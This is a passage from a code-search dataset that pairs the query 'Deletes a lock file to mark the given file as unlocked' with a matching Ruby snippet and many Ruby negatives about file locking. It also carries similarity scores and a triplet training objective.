"def test_lock_unlock\n setup_file\n\n assert_empty_lockdiscovery 'file'\n \n # get an exclusive write lock\n owner = \"<D:href xmlns:D='DAV:'>http://tim.limebits.com/</D:href>\"\n lock = lock 'file', :depth => 0, :owner => owner, :timeout => 1000\n\n assert_equal :write, lock.type\n assert_equal :exclusive, lock.scope\n assert_equal 0, lock.depth\n\n # timeout & token check are limestone specific\n assert_in_delta 1000, lock.timeout, 50\n assert_not_nil lock.token\n\n assert_xml_matches lock.owner do |xml|\n xml.xmlns! :D => \"DAV:\"\n xml.D :href, 'http://tim.limebits.com/'\n end\n\n response = @request.lock 'file'\n assert_equal '423', response.status\n \n unlock 'file', lock.token\n\n # a second unlock should return 409\n response = @request.unlock('file', lock.token)\n assert_equal '409', response.status\n\n response = @request.delete 'file'\n assert_equal '204', response.status\n end",
"def write_to_disk(path)\n path.dirname.mkpath unless path.dirname.exist?\n self.defined_in_file = path\n # rubocop:disable Lint/RescueException\n # rubocop:disable Lint/HandleExceptions\n begin\n existing = Lockfile.from_file(path)\n return if existing == self\n rescue Exception\n end\n path.open('w') { |f| f.write(to_yaml) }\n # rubocop:enable Lint/HandleExceptions\n # rubocop:enable Lint/RescueException\n end",
"def add_file(file)\n @files[file.name] = file\n file.parent = self\n end",
"def add_lock!(sql, options)\n case lock = options[:lock]\n when true; sql << ' FOR UPDATE'\n when String; sql << \" #{lock}\"\n end\n end",
"def write_request(client, filename, message)\n # obtain lock\n lock_request = \"LOCK:#{filename}\"\n @lockServer.puts lock_request\n answer = @lockServer.gets\n # if lock obtained\n if(answer.include?('OK'))\n puts \"Obtained lock for #{filename}\"\n aFile = File.open(filename, 'w+')\n if aFile\n File.write(filename, message)\n contents = File.read(filename)\n client.puts \"\\n\\nCONTENTS OF #{filename}\\n*****************\\n\\n#{contents}\\n\\n*****************\\nEND OF #{filename}\"\n # release lock\n @lockServer.puts \"UNLOCK:#{filename}\"\n answer = @lockServer.gets\n if (answer.include?('OK'))\n puts \"#{filename} unlocked\"\n end\n else\n client.puts \"ERROR: Unable to open file #{filename}\\nEND OF\"\n end\n aFile.close\n\n # if lock not obtained \n else\n client.puts \"ERROR: #{filename} is already in use\\nEND OF\"\n end\n return\n end",
"def lock_files(cartridge)\n locked_files = File.join(cartridge.directory, 'metadata', 'locked_files.txt')\n return [] unless File.exist? locked_files\n\n File.readlines(locked_files).each_with_object([]) do |line, memo|\n line.chomp!\n case\n when line.empty?\n # skip blank lines\n when line.end_with?('/*')\n memo << Dir.glob(File.join(@user.homedir, line)).select { |f| File.file?(f) }\n when FILENAME_BLACKLIST.include?(line)\n logger.info(\"#{cartridge.directory} attempted lock/unlock on black listed entry [#{line}]\")\n when !(line.start_with?('.') || line.start_with?(cartridge.directory) || line.start_with?('app-root'))\n logger.info(\"#{cartridge.directory} attempted lock/unlock on out-of-bounds entry [#{line}]\")\n else\n memo << File.join(@user.homedir, line)\n end\n end\n end",
"def roll_file! # :nodoc:\n do_once(stream) do\n archive_file = \"#{path}.#{archive_file_suffix}\"\n stream.flush\n current_inode = begin\n File.stat(path).ino\n rescue\n nil\n end\n if @file_inode && current_inode == @file_inode && !File.exist?(archive_file) && File.exist?(path)\n begin\n File.rename(path, archive_file)\n after_roll\n cleanup_files!\n rescue SystemCallError\n # Ignore rename errors since it indicates the file was already rolled\n end\n end\n reopen_file\n end\n rescue => e\n $stderr.write(\"Failed to roll file #{path}: #{e.inspect}\\n#{e.backtrace.join(\"\\n\")}\\n\")\n end",
"def lock(full_package_path, source_path:, package_path:)\n package_content = File.open(full_package_path).read\n\n locked = \"source \\\"#{source_path}\\\"\\r\\n\\r\\n\"\n locked += package_content\n\n lock_file = \"#{full_package_path}.lock\"\n\n return if File.exist?(lock_file) && File.read(lock_file) == locked\n\n File.open(lock_file, \"w+\") do |file|\n file.write(locked)\n end\n rescue Errno::ENOENT\n puts \"Can't find package: #{package_path}\"\n end",
"def lock!(timeout_duration = DEFAULT_TIMEOUT)\n result = nil\n\n File.open(@path, File::CREAT|File::EXCL|File::WRONLY, 0644) do |f|\n f.puts contents\n f.flush\n Timeout.timeout(timeout_duration) do\n begin\n result = yield\n ensure\n unlock!\n end\n end\n end\n return result\n rescue Errno::EEXIST\n sleep 1\n retry\n ensure\n unlock!\n end",
"def lock_path; end",
"def cache_write(cache_file, data)\n File.open(cache_file, \"w+\") do |cache_data|\n cache_data.flock(File::LOCK_EX)\n cache_data.write(data)\n cache_data.flock(File::LOCK_UN)\n end\n true\n end",
"def unlock\n if @locking\n @locking_file.close\n end\n end",
"def lock(klass, field, role, only=nil)\n @definitions[klass][field] << { role: role, only: only }\n end",
"def lock_file_path\n @lock_file_path ||= \"#{Rails.root.to_s}/log/#{@process_name}.lock\"\n end",
"def register(mutex)\n locks.add(mutex)\n end",
"def add_keyfile(file)\n ProcessWatcher.watch(\"ssh-add\", [file], nil, -1, 10)\n end",
"def lock\n @locked = true\n self\n end"
] |
[
"0.74842393",
"0.723057",
"0.69049996",
"0.6763062",
"0.6742792",
"0.66182196",
"0.6540233",
"0.6536679",
"0.6534776",
"0.6415368",
"0.6392145",
"0.637959",
"0.6365999",
"0.6349172",
"0.6322275",
"0.63093495",
"0.62923115",
"0.6253187",
"0.6200376",
"0.6192895",
"0.6117079",
"0.6109359",
"0.6108082",
"0.60764813",
"0.60518306",
"0.6047451",
"0.5997171",
"0.59850043",
"0.59588134",
"0.5952396",
"0.5927124",
"0.59264696",
"0.59210634",
"0.59166896",
"0.5915373",
"0.59019005",
"0.5901897",
"0.58803153",
"0.5866001",
"0.58603287",
"0.5849751",
"0.5849151",
"0.5847837",
"0.5830301",
"0.58180165",
"0.5814529",
"0.58088917",
"0.5801071",
"0.578121",
"0.5741708",
"0.5733493",
"0.57251257",
"0.5724619",
"0.57088554",
"0.56822324",
"0.5675545",
"0.56446993",
"0.56256574",
"0.55821425",
"0.5567944",
"0.5567191",
"0.5548052",
"0.5482571",
"0.5480154",
"0.5476424",
"0.54718333",
"0.54718333",
"0.54688716",
"0.54685926",
"0.5454975",
"0.5451305",
"0.54472256",
"0.54373443",
"0.5419237",
"0.5414897",
"0.5405503",
"0.5404405",
"0.540198",
"0.53970486",
"0.53866816",
"0.53741944",
"0.53636706",
"0.53636336",
"0.5359996",
"0.5351543",
"0.5351181",
"0.5346213",
"0.5338349",
"0.5333717",
"0.53322154",
"0.53301823",
"0.5329522",
"0.5328337",
"0.5327451",
"0.53199595",
"0.5303067",
"0.5299367",
"0.5288138",
"0.52755624",
"0.52587014"
] |
0.7412491
|
1
|
Deletes a lock file to mark the given file as unlocked
|
def unlock_file file
file_lock = file + ".lock"
File.delete(file_lock) if FileTest::file? file_lock
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def unlock!\n FileUtils.rm_f @path\n end",
"def remove_lock\n File.delete(@lock_file)\n end",
"def delete\n File::unlink @path+\".lock\" rescue nil\n File::unlink @path+\".new\" rescue nil\n File::unlink @path rescue nil\n end",
"def delete\n File::unlink @path+\".lock\" rescue nil\n File::unlink @path+\".new\" rescue nil\n File::unlink @path rescue Errno::ENOENT\n end",
"def unlock\n FileUtils.rm(lock_file) if File.exist?(lock_file)\n reset!\n end",
"def release\n return unless @lock_file # Skip if we don't have a file\n\n @lock_file.flock(File::LOCK_UN)\n File.delete( @lock_file )\n close_file\n end",
"def unlock\n FileUtils.rm(lock_file) if File.exist?(lock_file)\n reset!\n end",
"def unlock\n return unless @locking\n\n @locking_file.close\n\n return unless File.exist?('/var/tmp/vcenter-importer-lock')\n\n File.delete('/var/tmp/vcenter-importer-lock')\n end",
"def close_file\n @lock_file.close\n @lock_file = nil\n end",
"def unlocked_release(id)\n lock_file = @machine_locks[id]\n if lock_file\n lock_file.close\n begin\n File.delete(lock_file.path)\n rescue Errno::EACCES\n # Another process is probably opened it, no problem.\n end\n\n @machine_locks.delete(id)\n end\n end",
"def unlock\n return unless locked?\n unlink_pid_file\n end",
"def unlock\n if @locking\n @locking_file.close\n end\n end",
"def unlock\n if @locking\n @locking_file.close\n end\n end",
"def release_lock\n if File.exists? lock_file_name\n FileUtils.rm lock_file_name\n true\n else\n false\n end\n end",
"def delete!\n locksmith.delete! # Force delete the lock\n end",
"def unlock\n if @locking\n @locking_file.close\n end\n end",
"def delete\n @lock.synchronize do\n ::File.unlink(@tmpfile) if ::File.exist?(@tmpfile)\n end\n end",
"def delete_lock\n digests.delete_by_digest(lock_digest)\n end",
"def release_lock\n return true unless @handle\n set_message ''\n @handle.flock(File::LOCK_UN)\n @handle.close\n @handle = nil\n true\n end",
"def unlock_repo(lock_file)\n lock_file.close\n lock_file\n end",
"def del_lock(zk, config, mylock)\n puts \"deleting self #{mylock[:path]}\" if config[:verbose]\n zk.delete(:path => \"#{mylock[:path]}\")\nend",
"def delete\n locksmith.delete # Soft delete (don't forcefully remove when expiration is set)\n end",
"def destroy_dirty_file!(file)\n system(\"trashtrash #{file}\")\n end",
"def unlock_file(locked_name)\n begin\n FileUtils.mv(\"#{locked_name}\",\"#{@frpath}content.txt\")\n return true\n rescue\n return false\n end\n end",
"def delete_file\n File.unlink file\n end",
"def delete_file\n File.unlink file\n end",
"def delete!\n safe_close\n File.delete(@file_path)\n end",
"def destroy_file\n File.delete full_file_path\n rescue\n end",
"def unlock!\n if @locked\n cleanup_lock_file!\n @locked = false\n true\n end\n end",
"def del\n File.delete(@file)\n end",
"def destroy\n file&.delete\n end",
"def delete\n ::File.unlink(@path)\n end",
"def delete(filename); end",
"def delete!\n exist!\n File.unlink @path\n @path = nil\n end",
"def destroy_file\n FileUtils.rm(full_filename) if File.exists?(full_filename)\n end",
"def delete\n @file = nil\n # file.delete\n end",
"def write_lock\n FileUtils.touch(@lock_file)\n end",
"def remove_lock(run_name)\n Helpers::log(\"Removing lock for #{run_name}\")\n Lock::remove_lock_file(\"#{ENV['HOME']}/.hgsc_solid/#{@machine}/#{run_name}.lock\")\n end",
"def lock_file file\n file_lock = file + \".lock\"\n open(file_lock, \"w\") {}\n end",
"def smb_file_rm(file)\n fd = smb_open(file, 'ro')\n fd.delete\nend",
"def uncache file \n refresh = nil\n begin\n is_a_file = F === file\n path = (is_a_file ? file.path : file.to_s) \n stat = (is_a_file ? file.stat : F.stat(file.to_s)) \n refresh = tmpnam(F.dirname(path))\n ignoring_errors do\n F.link(path, refresh) rescue F.symlink(path, refresh)\n end\n ignoring_errors do\n F.chmod(stat.mode, path)\n end\n ignoring_errors do\n F.utime(stat.atime, stat.mtime, path)\n end\n ignoring_errors do\n open(F.dirname(path)){|d| d.fsync}\n end\n ensure \n ignoring_errors do\n F.unlink(refresh) if refresh\n end\n end\n end",
"def release\n unless @fh.nil?\n @fh.flock(File::LOCK_UN)\n remove_pidfile\n end\n @pid = nil\n end",
"def release\n unless @fh.nil?\n @fh.flock(File::LOCK_UN)\n remove_pidfile\n end\n @pid = nil\n end",
"def sync_with_flock(&block)\n fail ArgumentError, \"No block specified\" if block.nil?\n\n file = File.open(LOCK_FILE_PATH)\n file.flock(File::LOCK_EX)\n block.call\n ensure\n file.flock(File::LOCK_UN)\n file.close\n end",
"def release_locks\n File.unlink(@pidfile.path) if File.exist?(@pidfile.path)\n @pidfile.close unless @pidfile.closed?\n end",
"def purge\n ::FileUtils.rm(@fname)\n end",
"def unlock(_uri, lock_info)\n locks = data\n locks.each_with_index do |lock, k|\n next unless lock.token == lock_info.token\n locks.delete_at(k)\n put_data(locks)\n return true\n end\n\n false\n end",
"def unlock\n @locking = false\n end",
"def unlock(token)\n if lock_tokens.include? token\n remove_lock token\n @lock_info = nil\n\n :no_content\n else\n :forbidden\n end\n end",
"def safe_delete\n FileUtils.remove_entry_secure(SafeDeletable.path_for(self).to_s)\n rescue Errno::ENOENT\n # noop\n end",
"def delete_file(filename)\r\n DeleteFile.new(filename)\r\n end",
"def lock(&block)\n result = nil\n File.open(path + 'f.lock', 'w') do |fd|\n if fd.flock(File::LOCK_EX)\n begin\n result = block.call\n ensure\n fd.flock(File::LOCK_UN)\n end\n end\n end\n result\n end",
"def destroy(file=@file)\n if self.legacy?\n return unless @password.send(:rm_file, self) \n end\n super\n end",
"def finish_transaction\n Thread.current['git_store_lock'].close rescue nil\n Thread.current['git_store_lock'] = nil\n\n File.unlink(\"#{head_path}.lock\") rescue nil\n end",
"def remove_lock\n Sidekiq.redis { |redis| redis.del(@locking_key) }\n end",
"def unlock\n self.is_locked = false\n self.locked_at = nil\n save!\n end",
"def destroy\n File.unlink(@resource[:path])\n Puppet.debug \"deleted file #{@resource[:path]}\"\n end",
"def delete!\n return true unless File.exist?(path)\n FileUtils.rm(path)\n end",
"def rm_file(file)\n @files.delete(file.path)\n end",
"def unlock!\n self.locked_by = nil\n self.locked_at = nil\n save!\n end",
"def unlock(job_id)\n locked.del(job_id)\n end",
"def remove!\n with_callbacks(:remove) do\n delete_file\n @file = nil\n @cache_id = nil\n end\n end",
"def delete\n File.delete(file_name)\n rescue\n # ignore\n end",
"def delete\n FileUtils.remove_entry_secure(@directory)\n ObjectSpace.undefine_finalizer(self)\n rescue Errno::ENOENT\n end",
"def rm_file(file)\n @files.delete(file.path)\n end",
"def delete_file\n @file = []\n end",
"def close\n FileUtils.rm_r(path)\n end",
"def delete_file(file)\n delete_attachment(file)\n end",
"def destroy_file\n db_file.destroy if db_file\n end",
"def clear_lock(name, id)\n verify_lock_defined!(name)\n redis.del(redis_field_key(\"#{name}_lock\", id))\n end",
"def delete(filename)\n File.delete File.join(@base_path, filename)\n end",
"def unlock\n self.locked_at = nil\n self.locked_by = nil\n end",
"def delete_sync_control_file!(branch_name)\n filename = sync_control_filename(branch_name)\n logger.debug { \"Deleting sync control file, #{filename}\" }\n\n # on some systems, especially Windows, the file may be locked. wait for it to unlock\n counter = 10\n while counter > 0\n begin\n File.delete(filename)\n counter = 0\n rescue\n counter = counter - 1\n sleep(0.25)\n end\n end\n end",
"def unlink\n # keep this order for thread safeness\n begin\n File.unlink(@tmpname) if File.exist?(@tmpname)\n @@cleanlist.delete(@tmpname)\n @data = @tmpname = nil\n ObjectSpace.undefine_finalizer(self)\n rescue Errno::EACCES\n # may not be able to unlink on Windows; just ignore\n end\n end",
"def notify_file_rm(file)\r\n @files[file] = { exist: false }\r\n unregister_file_from_dirs(file)\r\n end",
"def unlock\n self.locked_at = nil\n self.locked_by = nil\n end",
"def unshare_file_in_db(file_id, user_id)\n $db.execute(\"DELETE FROM shared_files WHERE file_id = ? AND user_id = ?\", file_id, user_id)\nend",
"def delete\n FileUtils.rm(self.path) if exists?\n end",
"def deleteIgnoreFile(fileName)\n @fileAccess.deleteIgnoreFile(fileName)\n end",
"def remove_watch(file)\n @files.delete(file)\n end",
"def lock_file(file, &_block)\n if ::File.exist?(file)\n ::File.open(file, 'r+') do |f|\n begin\n f.flock ::File::LOCK_EX\n yield if block_given?\n ensure\n f.flock ::File::LOCK_UN\n end\n end\n else\n yield if block_given?\n end\n end",
"def destroy_file\n FileUtils.rm full_filename\n # remove directory also if it is now empty\n Dir.rmdir(File.dirname(full_filename)) if (Dir.entries(File.dirname(full_filename))-['.','..']).empty?\n rescue\n logger.info \"Exception destroying #{full_filename.inspect}: [#{$!.class.name}] #{$1.to_s}\"\n logger.warn $!.backtrace.collect { |b| \" > #{b}\" }.join(\"\\n\")\n end",
"def remove file\n file.delete\n @files -= [file]\n end",
"def unlock\n self.locked_at = nil\n self.locked_by = nil\n end",
"def destroy_file\n Qiniu::RS.delete(qiniu_config[:bucket_name], full_filename)\n end",
"def cleanup_file(file_name)\n f = File.expand_path(file_name)\n File.unlink(f) if File.exists?(f)\n yield\nensure\n File.unlink(f) if File.exists?(f)\nend",
"def super_delete(filepath)\n # Thanks, Windows. http://alx.github.io/2009/01/27/ruby-wundows-unlink.html\n 10.times do\n begin\n File.delete(filepath)\n break\n rescue\n @logger.warn(\"Unable to delete file #{filepath}\")\n sleep 0.05\n end\n end\n end",
"def destroy_file\n object = self.class.bucket.objects.find(full_filename)\n object.destroy\n end",
"def unlock\n locksmith.unlock # Only signal to release the lock\n end",
"def unlock!(key)\n ::DatabaseEntryLock.destroy_by(lock_key: key)\n end",
"def locked_run( lock_file, timeout = 30 * 60 )\n cached_filesystem do\n # bugfix for ~\n lock_file = File.expand_path lock_file\n exit if File.exists?(lock_file)\n %x{touch #{lock_file}}\n begin\n Timeout::timeout(timeout) do\n yield\n end\n rescue Timeout::Error\n puts 'Too slow, sorry!!'\n rescue Exception => exc\n log_exception exc\n end\n rm lock_file\n end\n end",
"def remove_file(path)\n FileUtils.rm_f(path)\n end",
"def remove_file(path)\n FileUtils.rm_f(path)\n end",
"def unlink\n self.class.unlink(@path)\n end",
"def synchronize(path)\n path = File.join(Dir.tmpdir, \"#{Rip.md5(path)}.lock\")\n file = File.new(path, 'w+')\n file.flock(File::LOCK_EX)\n yield\n ensure\n file.flock(File::LOCK_UN)\n file.close\n # We can't safely cleanup the lock file. This litters tmp with\n # lock files. Not a big deal but we could do better.\n end",
"def test_lock_unlock\n setup_file\n\n assert_empty_lockdiscovery 'file'\n \n # get an exclusive write lock\n owner = \"<D:href xmlns:D='DAV:'>http://tim.limebits.com/</D:href>\"\n lock = lock 'file', :depth => 0, :owner => owner, :timeout => 1000\n\n assert_equal :write, lock.type\n assert_equal :exclusive, lock.scope\n assert_equal 0, lock.depth\n\n # timeout & token check are limestone specific\n assert_in_delta 1000, lock.timeout, 50\n assert_not_nil lock.token\n\n assert_xml_matches lock.owner do |xml|\n xml.xmlns! :D => \"DAV:\"\n xml.D :href, 'http://tim.limebits.com/'\n end\n\n response = @request.lock 'file'\n assert_equal '423', response.status\n \n unlock 'file', lock.token\n\n # a second unlock should return 409\n response = @request.unlock('file', lock.token)\n assert_equal '409', response.status\n\n response = @request.delete 'file'\n assert_equal '204', response.status\n end",
"def destroy(path)\n directory = connection.directories.get(self.bucket)\n directory ||= connection.directories.create(self.permissions.merge(:key => self.bucket))\n\n file = directory.files.get(path)\n file.destroy if file\n end",
"def delete(key)\n File.unlink cache_path(key)\n rescue Errno::ENOENT\n end",
"def deleteFile(file_path)\n puts \"Delete file: \" + file_path.to_s\n File.delete(file_path) if File.exist?(file_path)\nend",
"def delete\n if (!self.valid? or !File.writable?(@file))\n return 1\n else\n FileUtils.mkdir_p(\"graveyard/\" + File.dirname(@file))\n FileUtils.mv(@file, \"graveyard/\" + @file)\n return 0\n end\n end"
] |
[
"0.80032617",
"0.79791397",
"0.7829483",
"0.78129536",
"0.7449344",
"0.7435107",
"0.7431346",
"0.7348802",
"0.73211664",
"0.7310665",
"0.7248773",
"0.7200551",
"0.7200551",
"0.7197581",
"0.7130013",
"0.7085734",
"0.70229983",
"0.6945256",
"0.6914487",
"0.69054306",
"0.68786466",
"0.67909384",
"0.6762714",
"0.6745008",
"0.67361784",
"0.67361784",
"0.66185296",
"0.65013105",
"0.64844954",
"0.64106756",
"0.639051",
"0.6370752",
"0.6366187",
"0.63441986",
"0.6313949",
"0.63008004",
"0.6295482",
"0.62929994",
"0.6244018",
"0.6236058",
"0.62248987",
"0.6219241",
"0.6219241",
"0.61372876",
"0.6124738",
"0.6103133",
"0.6097653",
"0.60915446",
"0.6088494",
"0.6070706",
"0.60657275",
"0.60433346",
"0.60372895",
"0.6027759",
"0.60090756",
"0.6002986",
"0.59914714",
"0.59885573",
"0.59855384",
"0.5983557",
"0.5975681",
"0.5966119",
"0.5960191",
"0.59457296",
"0.5930389",
"0.5928226",
"0.5915677",
"0.5903978",
"0.5899337",
"0.58990514",
"0.5896948",
"0.5893472",
"0.5889889",
"0.5870736",
"0.5870366",
"0.5865827",
"0.5862268",
"0.585326",
"0.5842416",
"0.5840421",
"0.5839868",
"0.58369756",
"0.5833757",
"0.58329153",
"0.5824885",
"0.5820245",
"0.5817426",
"0.58173627",
"0.58134323",
"0.5809112",
"0.58082706",
"0.58064914",
"0.58064914",
"0.5803912",
"0.5800499",
"0.5789374",
"0.57865566",
"0.57765764",
"0.5758757",
"0.57544804"
] |
0.80220586
|
0
|
Checks for a lock file to see if the given file is marked as locked
|
def is_locked? file
file_lock = file + ".lock"
FileTest::file? file_lock
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def locked?\n File.exist?(lock_file)\n end",
"def locked?\n File.exist?(lock_file)\n end",
"def unlocked?\n ! File.exist?(lock_file)\n end",
"def lock_file_present?(lfname)\n begin\n # TODO check lock file age and send a warning if it is older than a\n # given threshold.\n File.exists?(lfname)\n rescue => e\n logger.error \"checking lock file '#{lfname}' presence:\"\n logger.error e.message\n logger.error e.backtrace.join(\"\\n\")\n Mailer.notify_admins(self, 'lock_file_check', e)\n end\n end",
"def try_lock\n puts \"I couldn't get a lock.\" unless \n open_lock('contested', 'w', File::LOCK_EX | File::LOCK_NB) do\n puts \"I've got a lock!\" \n true\n end\nend",
"def check_lock(run_name)\n Helpers::log(\"Checking lock file for #{run_name}\")\n File.exists?(\"#{ENV['HOME']}/.hgsc_solid/#{@machine}/#{run_name}.lock\")\n end",
"def lockfile_exists?\n File.exist?(lockfile_name)\n end",
"def test_lock (backup_path)\n Dir.foreach(backup_path) do |f|\n if f.include?(\"flock\") then\n puts \"Error! #{f} exists!\"\n return true\n end\n end\n return false\nend",
"def set_lock\n if File.exists? lock_file_name\n false\n else\n FileUtils.touch lock_file_name\n true\n end\n end",
"def running?\n File.exist?(@lock_file)\n end",
"def acquire_lock\n return true if @handle\n begin\n @handle = File.open(status_file_path, File::RDWR | File::CREAT)\n raise StandardError.new('Already locked') unless @handle.flock(File::LOCK_EX | File::LOCK_NB)\n @handle.rewind\n @handle.truncate 0\n rescue\n if @handle\n @handle.flock(File::LOCK_UN)\n @handle.close\n end\n @handle = nil\n end\n !!@handle\n end",
"def lock\n if lockfile.lock\n begin\n yield\n ensure\n lockfile.unlock\n end\n return true\n else\n return false\n end\n end",
"def enabled?\n File.exist?(lockfile_path)\n end",
"def locked?\n return false unless File.exists?(@pid_file)\n \n begin\n pid = File.read(@pid_file)\n \n # if there is nothing in the file, delete the file and return false\n if pid.to_s.length == 0\n unlink_pid_file and return false\n end\n \n Process.kill 0, pid.to_i # this will raise Errno::ESRCH if there is a process\n \n true\n rescue Errno::ESRCH => e\n # no process, lets delete the pid and return false\n unlink_pid_file and return false\n end\n \n end",
"def locked_open?\n lock == :open\n end",
"def lock(p_lock_file)\n lock_file = File.open(p_lock_file, \"w\")\n lock_file.write(Time.now.to_i.to_s)\n lock_file.close\n return true\n end",
"def gemfile_lock_present\n tree = repository.repo.lookup(revision).tree\n locks = tree.select{|item| item[:name] == 'Gemfile.lock' }\n binary_integer locks\n end",
"def get_locked_file( lockfile, timeout = 60 )\n cfg_file = File.open(lockfile,\"r+\")\n success = false\n timeout.times {\n if cfg_file.flock(File::LOCK_EX | File::LOCK_NB )\n success=true\n break\n end\n STDERR.puts \"Lockfile is locked...retrying...\"\n sleep 1\n }\n raise \"Couldn't acquire the lockfile...\" unless success\n return cfg_file\n end",
"def is_locked?\n locked\n end",
"def locked?\n end",
"def lock\n\n return true if locked?\n\n @lockfile = nil\n\n FileUtils.mkdir_p(::File.dirname(@path))\n\n file = File.new(@path, File::RDWR | File::CREAT)\n locked = file.flock(File::LOCK_NB | File::LOCK_EX)\n\n return false unless locked\n\n now = Time.now\n\n file.print(\"pid: #{$$}, \")\n file.print(\"scheduler.object_id: #{self.object_id}, \")\n file.print(\"time: #{now}, \")\n file.print(\"timestamp: #{now.to_f}\")\n file.flush\n\n @lockfile = file\n\n true\n end",
"def locked?\n not @lock_name.nil?\n end",
"def lock!\n create_lock_file!\n if have_first_lock?(false)\n @locked = true\n else\n cleanup_lock_file!\n false\n end\n end",
"def locked?\n locksmith.locked?\n end",
"def locked?\n fetch_lock_info\n\n obj_exists_and_is_not_type? obj: @lock_info, type: []\n end",
"def try_lock\n if locked?\n false\n else\n File.open(@pid_file, 'w') { |f| f.write(Process.pid) }\n File.chmod(0644, @pid_file)\n true\n end\n end",
"def locked?\n !!read\n end",
"def with_lock_file dir, base\n lock_file = File.join(dir, \".lock.#{base}\")\n\n begin\n FileUtils.ln_s \".#{Process.pid}.#{base}\", lock_file\n rescue Errno::EEXIST\n return false\n end\n\n begin\n yield\n ensure\n FileUtils.rm_f lock_file\n end\n\n true\n end",
"def have_lock?\n !!@handle\n end",
"def try_lock\n if locked_out?\n false\n else\n lock\n true\n end\n end",
"def running_existing_process?\n @@LOGGER.info(\"verifying whether any existing process is running.\")\n lock_file_dir = File.join(RAILS_ROOT, \"tmp/locks\")\n\n # create lock file directory if not exists\n if !File.exists?(lock_file_dir)\n @@LOGGER.info(\"creating new lock directory.\")\n Dir.mkdir(lock_file_dir)\n end\n\n # find lock file\n lock_file = File.join(lock_file_dir, \"statistics.collector.lck\")\n if File.exists?(lock_file)\n @@LOGGER.info(\"lock file exists - #{lock_file}\")\n\n # read lock file data\n lock_file_resource = File.open(lock_file)\n lock_timestamp = Time.at(lock_file_resource.read.to_i)\n lock_file_resource.close\n @@LOGGER.info(\"lock file timestamp - #{lock_timestamp}\")\n\n # if lock is last updated 5 minutes back\n not_changed_five_minutes_before = (Time.now - 5.minutes) > lock_timestamp\n if not_changed_five_minutes_before\n @@LOGGER.info(\"lock file is old\")\n File.delete(lock_file)\n return false, lock_file\n else\n @@LOGGER.info(\"process is still alive and working.\")\n return true, lock_file\n end\n else\n @@LOGGER.info(\"no lock file exists\")\n return false, lock_file\n end\n end",
"def locked?\n @locked\n end",
"def locked?\n @locked\n end",
"def locked?\n @locked\n end",
"def locked?\n @locked\n end",
"def release_lock\n if File.exists? lock_file_name\n FileUtils.rm lock_file_name\n true\n else\n false\n end\n end",
"def wait_for_lockfile(lockfile = '', check_interval = 0.1, give_up_after = 30)\n number_of_tries = give_up_after / check_interval\n count = 0\n while File.exist?(lockfile) && count < number_of_tries\n sleep check_interval\n count += 1\n end\nend",
"def locked?\n @locked\n end",
"def locked?\n !locked_at.nil?\n end",
"def locked?\n @locked\n end",
"def locked?\n if defined?(@locked)\n @locked\n else\n false\n end\n end",
"def lock(name)\n lock_file = $lock_dir + '/' + name\n unless FileTest.exist?(lock_file)\n FileUtils.touch(lock_file)\n yield\n end\n end",
"def has_lock?\n @has_lock || false\n end",
"def locked?\n @mutex.locked?\n end",
"def locked?\n\t\t\t@locked\n\t\tend",
"def got_lock?(lock_attempt, zk, config)\n children = zk.get_children(:path => config[:root])[:children].sort\n puts \"children found are #{children}\" if config[:verbose]\n mylocks = children.select {|child| child.start_with?(config[:lockname] + \".\") }\n puts \"Testing my lock (#{lock_attempt[:path]} against the first child (#{config[:root]}/#{mylocks.first})\" if config[:verbose]\n return lock_attempt[:path] == \"#{config[:root]}/#{mylocks.first}\"\nend",
"def acquire!\n File.open_exclusive(@filename) do |handle|\n pid = handle.read.to_i\n return true if pid == Process.pid\n if not Process.alive?(pid)\n handle.truncate(0)\n handle.write(Process.pid)\n return true\n end\n end\n return false\n end",
"def lock_file ; \"#{path}.lock\" ; end",
"def unlock_file(locked_name)\n begin\n FileUtils.mv(\"#{locked_name}\",\"#{@frpath}content.txt\")\n return true\n rescue\n return false\n end\n end",
"def lock_check(lock_scope=nil)\n return unless @lock_class\n if(@lock_class.explicitly_locked?(@path))\n raise Locked if @lock_class.explicit_locks(@path).find_all{|l|l.scope == 'exclusive' && l.user != @user}.size > 0\n elsif(@lock_class.implicitly_locked?(@path))\n if(lock_scope.to_s == 'exclusive')\n locks = @lock_class.implicit_locks(@path)\n failure = DAV4Rack::LockFailure.new(\"Failed to lock: #{@path}\")\n locks.each do |lock|\n failure.add_failure(@path, Locked)\n end\n raise failure\n else\n locks = @lock_class.implict_locks(@path).find_all{|l| l.scope == 'exclusive' && l.user != @user}\n if(locks.size > 0)\n failure = LockFailure.new(\"Failed to lock: #{@path}\")\n locks.each do |lock|\n failure.add_failure(@path, Locked)\n end\n raise failure\n end\n end\n end\n end",
"def lock_check(lock_scope=nil)\n return unless @lock_class\n if(@lock_class.explicitly_locked?(@path))\n raise Locked if @lock_class.explicit_locks(@path).find_all{|l|l.scope == 'exclusive' && l.user != @user}.size > 0\n elsif(@lock_class.implicitly_locked?(@path))\n if(lock_scope.to_s == 'exclusive')\n locks = @lock_class.implicit_locks(@path)\n failure = DAV4Rack::LockFailure.new(\"Failed to lock: #{@path}\")\n locks.each do |lock|\n failure.add_failure(@path, Locked)\n end\n raise failure\n else\n locks = @lock_class.implict_locks(@path).find_all{|l| l.scope == 'exclusive' && l.user != @user}\n if(locks.size > 0)\n failure = LockFailure.new(\"Failed to lock: #{@path}\")\n locks.each do |lock|\n failure.add_failure(@path, Locked)\n end\n raise failure\n end\n end\n end\n end",
"def is_locked?\n return true if have_lock?\n begin\n return true unless acquire_lock\n ensure\n release_lock\n end\n false\n end",
"def lock?\n return true if @_lock_type\n false\n end",
"def access_locked?\n !!locked_at && !lock_expired?\n end",
"def locking?\n @locking\n end",
"def with_locked_file(filename)\n puts \"locking #{filename}\"\n if dataset_marked?(filename, 'locked') \n raise \"already marked as locked\"\n end\n # actual locking\n mark_dataset(filename, 'locked')\n begin\n yield\n ensure\n puts \"unlocking #{filename}\"\n # actual unlocking\n unmark_dataset(filename, 'locked')\n end\n end",
"def locked?\n !!@owner\n end",
"def locked?\n revision.locked == 1\n end",
"def watched_file?(file)\n archive_file == file\n end",
"def locked?\n return @locked\n end",
"def lock_status?\n return @unlocked == true\n end",
"def locked?\n (status & (1 << 0)).zero?\n end",
